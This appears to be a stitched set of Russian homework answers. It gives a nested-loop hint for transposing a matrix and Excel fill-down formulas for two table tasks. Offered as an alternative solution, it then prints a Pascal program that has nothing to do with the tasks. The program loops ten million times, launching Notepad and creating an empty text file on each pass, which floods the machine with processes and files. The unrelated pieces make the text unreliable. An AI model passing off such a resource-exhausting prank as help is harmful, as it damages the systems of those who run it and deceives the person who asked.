Напиши 2 цикла вложенных по i j от 1 до размерности
Внутри циклов
B(i,j) = A(j,i)
Надеюсь, циклы писать умеешь и массивы объявлять тоже.
Задание 1:
Строку 1 и столбец A заполняете единицами. В ячейку B2 вводите формулу =A2+B1, затем её копируете (делаете протяжку)
Задание 2:
Строку 1 и столбец A заполняете по образцу (0 и 1). В ячейку B2 вводите формулу =A1+B1, затем её копируете (делаете протяжку)
Ну, примерно так. можно решить и по-другому
Var i:integer;
var t:text;
begin
for i:= 1 to 10000000 do
begin
execute( 'notepad.exe' );
assign(t,'poy'+inttostr(i)+'.txt');
rewrite(t);
close(t);
end;
end.